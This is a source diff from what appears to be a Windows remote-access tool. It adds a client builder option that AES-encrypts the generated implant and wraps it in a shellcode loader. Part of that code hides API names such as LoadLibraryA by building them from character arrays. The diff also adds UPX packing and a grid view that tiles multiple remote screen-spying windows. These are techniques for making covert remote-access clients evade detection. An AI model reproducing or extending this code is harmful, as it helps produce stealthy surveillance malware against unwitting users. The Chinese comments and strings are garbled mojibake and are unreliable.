GetModuleFileNameA(NULL, path, _MAX_PATH);
@@ -3081,7 +3137,7 @@ int main() {
*/
void CMy2015RemoteDlg::OnToolGenShellcode()
{
CFileDialog fileDlg(TRUE, _T("dll"), "ServerDll.dll", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {

View File

@@ -26,6 +26,7 @@ typedef struct DllInfo {
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#include "CGridDialog.h"
enum {
MAP_NOTE,
@@ -159,8 +160,19 @@ public:
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
Dlg->Create(id, GetDesktopWindow());
BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY;
BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE;
Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow());
Dlg->ShowWindow(Show);
if (ok) {
m_gridDlg->AddChild((CDialog*)Dlg);
LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE);
style &= ~(WS_CAPTION | WS_SIZEBOX); // ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>С
::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
}
ContextObject->hWnd = Dlg->GetSafeHwnd();
ContextObject->hDlg = Dlg;
@@ -197,7 +209,7 @@ public:
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar;
CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;

View File

@@ -217,10 +217,12 @@
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\Release\TinyRun.dll" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />
@@ -262,6 +264,7 @@
<ClInclude Include="Buffer.h" />
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CTextDlg.h" />
@@ -332,6 +335,7 @@
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />

View File

@@ -52,6 +52,7 @@
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -116,6 +117,7 @@
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
@@ -189,6 +191,8 @@
<None Include="res\string.ico" />
<None Include="res\upx.exe" />
<None Include="res\frpc.dll" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />

View File

@@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() //
return len;
}
void CBuffer::Skip(ULONG ulPos) {
std::string CBuffer::Skip(ULONG ulPos) {
if (ulPos == 0)
return;
return "";
EnterCriticalSection(&m_cs);
std::string ret(m_Base, m_Base + ulPos);
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
m_Ptr -= ulPos;
LeaveCriticalSection(&m_cs);
return ret;
}
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.

View File

@@ -86,7 +86,7 @@ public:
BYTE GetBYTE(ULONG ulPos);
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
ULONG RemoveCompletedBuffer(ULONG ulLength);
void Skip(ULONG ulPos);
std::string Skip(ULONG ulPos);
protected:
PBYTE m_Base;

View File

@@ -6,6 +6,10 @@
#include "BuildDlg.h"
#include "afxdialogex.h"
#include <io.h>
#include "InputDlg.h"
#include <bcrypt.h>
#include <wincrypt.h>
#include <ntstatus.h>
enum Index
{
@@ -58,6 +62,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T(""))
, m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN)
{
}
@@ -77,6 +82,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
DDX_Control(pDX, IDC_COMBO_COMPRESS, m_ComboCompress);
}
@@ -84,11 +90,50 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
END_MESSAGE_MAP()
// CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::string ReleaseUPX();
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
int ulOriginalLength, bool align = false);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
typedef struct SCInfo
{
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4 * 1024 * 1024];
int len;
}SCInfo;
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
bool MYLoadLibrary(const char* name) {
char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
if (!GetModuleHandleA(name)) {
LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
return LoadLibraryA(name);
}
return true;
}
void generate_random_iv(unsigned char* iv, size_t len) {
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
char crypt[] = { 'b','c','r','y','p','t',0 };
char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
MYLoadLibrary(crypt);
BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
}
void CBuildDlg::OnBnClickedOk()
{
@@ -151,6 +196,8 @@ void CBuildDlg::OnBnClickedOk()
}
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
if(m_strFindden.GetLength())
memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
@@ -216,7 +263,48 @@ void CBuildDlg::OnBnClickedOk()
File.Close();
CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n<EFBFBD><EFBFBD>ʾ: ʹ<><CAB9>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7>񣬱<EFBFBD><F1A3ACB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ1<CEAA><31>" : "";
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
std::string upx;
if(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_UPX) upx = ReleaseUPX();
if (!upx.empty())
{
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UPXѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>\r\n<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>: " + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
} else {
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
SCInfo* sc = (SCInfo*)(data + iOffset);
LPBYTE srcData = (LPBYTE)szBuffer;
int srcLen = dwFileSize;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
generate_random_iv(sc->aes_key, 16);
generate_random_iv(sc->aes_iv, 16);
std::string key, iv;
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
if (srcLen <= 4 * 1024 * 1024) {
memcpy(sc->data, srcData, srcLen);
sc->len = srcLen;
}
SAFE_DELETE_ARRAY(srcData);
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
}
}
}
SAFE_DELETE_ARRAY(data);
}
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
}
@@ -278,6 +366,11 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "<EFBFBD><EFBFBD>");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_OtherItem.ShowWindow(SW_HIDE);
return TRUE; // return TRUE unless you set the focus to a control
@@ -341,3 +434,14 @@ void CBuildDlg::OnHelpParameters()
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#<23><><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
void CBuildDlg::OnHelpFindden()
{
CInputDialog dlg(this);
dlg.m_str = m_strFindden;
dlg.Init("<EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD>ʶ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ:");
if (dlg.DoModal() == IDOK) {
m_strFindden = dlg.m_str;
}
}

View File

@@ -35,4 +35,7 @@ public:
CComboBox m_ComboProto;
CComboBox m_ComboEncrypt;
afx_msg void OnHelpParameters();
CComboBox m_ComboCompress;
CString m_strFindden;
afx_msg void OnHelpFindden();
};

View File

@@ -0,0 +1,229 @@
#include "stdafx.h"
#include "afxdialogex.h"
#include "CGridDialog.h"
#include "Resource.h"
BEGIN_MESSAGE_MAP(CGridDialog, CDialog)
ON_WM_SIZE()
ON_WM_LBUTTONDBLCLK()
ON_MESSAGE(WM_CHILD_CLOSED, &CGridDialog::OnChildClosed)
END_MESSAGE_MAP()
CGridDialog::CGridDialog() : CDialog()
{
}
BOOL CGridDialog::OnInitDialog()
{
m_hIcon = ::LoadIconA(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
SetIcon(m_hIcon, FALSE);
CDialog::OnInitDialog();
return TRUE;
}
void CGridDialog::SetGrid(int rows, int cols)
{
m_rows = rows;
m_cols = cols;
m_max = rows * cols;
LayoutChildren();
}
BOOL CGridDialog::AddChild(CDialog* pDlg)
{
if (!pDlg || !::IsWindow(pDlg->GetSafeHwnd()) || m_children.size() >= m_max)
return FALSE;
pDlg->SetParent(this);
pDlg->ShowWindow(SW_SHOW);
// ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>С
LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE);
style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER);
::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(pDlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_children.push_back(pDlg);
LayoutChildren();
return TRUE;
}
void CGridDialog::RemoveChild(CDialog* pDlg)
{
auto it = std::find(m_children.begin(), m_children.end(), pDlg);
if (it != m_children.end())
{
(*it)->ShowWindow(SW_HIDE);
(*it)->SetParent(nullptr);
m_children.erase(it);
// ɾ<><C9BE> m_origState <20>ж<EFBFBD>Ӧ<EFBFBD><D3A6>Ŀ
auto itState = m_origState.find(pDlg);
if (itState != m_origState.end())
m_origState.erase(itState);
// <20><><EFBFBD><EFBFBD><EFBFBD>رյ<D8B1><D5B5>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>󻯴<EFBFBD><F3BBAFB4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD> m_pMaxChild
if (m_pMaxChild == pDlg)
m_pMaxChild = nullptr;
LayoutChildren();
}
}
LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam)
{
CDialog* pDlg = (CDialog*)wParam;
RemoveChild(pDlg);
return 0;
}
void CGridDialog::LayoutChildren()
{
if (m_children.size() == 0) {
// <20>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
if (m_parentStyle != 0)
{
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_parentStyle = 0;
}
ShowWindow(SW_HIDE);
return;
}
if (m_rows <= 0 || m_cols <= 0 || m_children.empty() || m_pMaxChild != nullptr)
return;
CRect rcClient;
GetClientRect(&rcClient);
int w = rcClient.Width() / m_cols;
int h = rcClient.Height() / m_rows;
for (size_t i = 0; i < m_children.size(); ++i)
{
int r = (int)i / m_cols;
int c = (int)i % m_cols;
if (r >= m_rows)
break; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ
int x = c * w;
int y = r * h;
m_children[i]->MoveWindow(x, y, w, h, TRUE);
m_children[i]->ShowWindow(SW_SHOW);
}
}
void CGridDialog::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (m_pMaxChild == nullptr) {
LayoutChildren();
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4>£<EFBFBD><C2A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>
CRect rcClient;
GetClientRect(&rcClient);
m_pMaxChild->MoveWindow(rcClient, TRUE);
}
}
void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>󻯵<EFBFBD><F3BBAFB5>Ӵ<EFBFBD><D3B4>ڣ<EFBFBD>˫<EFBFBD><CBAB><EFBFBD>κεط<CEB5><D8B7><EFBFBD><EFBFBD>ָ<EFBFBD>
if (m_pMaxChild != nullptr)
{
// <20>ָ<EFBFBD><D6B8>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>λ<EFBFBD><CEBB>
for (auto& kv : m_origState)
{
CDialog* dlg = kv.first;
const ChildState& state = kv.second;
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, state.style);
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
dlg->MoveWindow(state.rect, TRUE);
dlg->ShowWindow(SW_SHOW);
}
// <20>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
if (m_parentStyle != 0)
{
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_parentStyle = 0;
}
// ˢ<>¸<EFBFBD><C2B8><EFBFBD><EFBFBD><EFBFBD>
m_pMaxChild = nullptr;
m_origState.clear();
LayoutChildren();
return; // <20>Ѵ<EFBFBD><D1B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
// û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD>߼<EFBFBD><DFBC>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (auto dlg : m_children)
{
CRect rc;
dlg->GetWindowRect(&rc);
ScreenToClient(&rc);
if (rc.PtInRect(point))
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>ԭʼ״̬
m_origState.clear();
for (auto d : m_children)
{
ChildState state;
d->GetWindowRect(&state.rect);
ScreenToClient(&state.rect);
state.style = ::GetWindowLong(d->GetSafeHwnd(), GWL_STYLE);
m_origState[d] = state;
}
// <20><><EFBFBD>󻯵<EFBFBD><F3BBAFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
LONG style = m_origState[dlg].style;
style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
if (m_parentStyle == 0)
m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE);
LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME);
::SetWindowLong(m_hWnd, GWL_STYLE, parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// ȫ<><C8AB><EFBFBD><EFBFBD>ʾ<EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
CRect rcClient;
GetClientRect(&rcClient);
dlg->MoveWindow(rcClient, TRUE);
m_pMaxChild = dlg;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
for (auto d : m_children)
if (d != dlg) d->ShowWindow(SW_HIDE);
break;
}
}
CDialog::OnLButtonDblClk(nFlags, point);
}
BOOL CGridDialog::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) {
return TRUE;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
}
return CDialog::PreTranslateMessage(pMsg);
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include <vector>
#include <map>
#include <afxwin.h>
#define WM_CHILD_CLOSED (WM_USER + 100)
class CGridDialog : public CDialog
{
public:
CGridDialog();
BOOL AddChild(CDialog* pDlg); // <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD>ӶԻ<D3B6><D4BB><EFBFBD>
void RemoveChild(CDialog* pDlg); // <20><>̬<EFBFBD>Ƴ<EFBFBD><C6B3>ӶԻ<D3B6><D4BB><EFBFBD>
void SetGrid(int rows, int cols); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void LayoutChildren(); // <20><><EFBFBD><EFBFBD>
BOOL HasSlot() const {
return m_children.size() < m_max;
}
protected:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg LRESULT OnChildClosed(WPARAM wParam, LPARAM lParam);
DECLARE_MESSAGE_MAP()
private:
HICON m_hIcon;
int m_rows = 0;
int m_cols = 0;
int m_max = 0;
std::vector<CDialog*> m_children;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CDialog* m_pMaxChild = nullptr; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>󻯵<EFBFBD><F3BBAFB5>ӶԻ<D3B6><D4BB><EFBFBD>
LONG m_parentStyle = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC>ʽ
struct ChildState {
CRect rect; // ԭʼλ<CABC><CEBB>
LONG style; // ԭʼ<D4AD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
};
std::map<CDialog*, ChildState> m_origState;
};

View File

@@ -64,11 +64,6 @@ IOCPServer::IOCPServer(void)
m_NotifyProc = NULL;
m_OfflineProc = NULL;
#if USING_CTX
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
#endif
}
void IOCPServer::Destroy() {
@@ -133,11 +128,6 @@ IOCPServer::~IOCPServer(void)
m_ulBusyThread = 0;
m_ulKeepLiveTime = 0;
#if USING_CTX
ZSTD_freeCCtx(m_Cctx);
ZSTD_freeDCtx(m_Dctx);
#endif
WSACleanup();
}
@@ -304,6 +294,8 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{
Mprintf("======> IOCPServer WorkThreadProc begin \n");
ZSTD_DCtx* m_Dctx = ZSTD_createDCtx(); // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IOCPServer* This = (IOCPServer*)(lParam);
HANDLE hCompletionPort = This->m_hCompletionPort;
@@ -384,7 +376,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{
try
{
This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans);
This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans, m_Dctx);
ContextObject = NULL;
}
@@ -405,13 +397,16 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (n == 0) {
Mprintf("======> IOCPServer All WorkThreadProc done\n");
}
ZSTD_freeDCtx(m_Dctx);
Mprintf("======> IOCPServer WorkThreadProc end \n");
return 0;
}
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
{
BOOL bRet = FALSE;
@@ -421,10 +416,10 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
bRet = OnClientInitializing(ContextObject, dwTrans);
break;
case IORead:
bRet = OnClientReceiving(ContextObject,dwTrans);
bRet = OnClientReceiving(ContextObject, dwTrans, ctx);
break;
case IOWrite:
bRet = OnClientPostSending(ContextObject,dwTrans);
bRet = OnClientPostSending(ContextObject, dwTrans);
break;
case IOIdle:
Mprintf("=> HandleIO PacketFlags= IOIdle\n");
@@ -443,7 +438,8 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
}
// May be this function should be a member of `CONTEXT_OBJECT`.
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx) {
AUTO_TICK(40);
BOOL ret = 1;
try
{
@@ -547,9 +543,9 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
return ret;
}
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
{
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx)) {
RemoveStaleContext(ContextObject);
return FALSE;
}
@@ -559,7 +555,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
return TRUE;
}
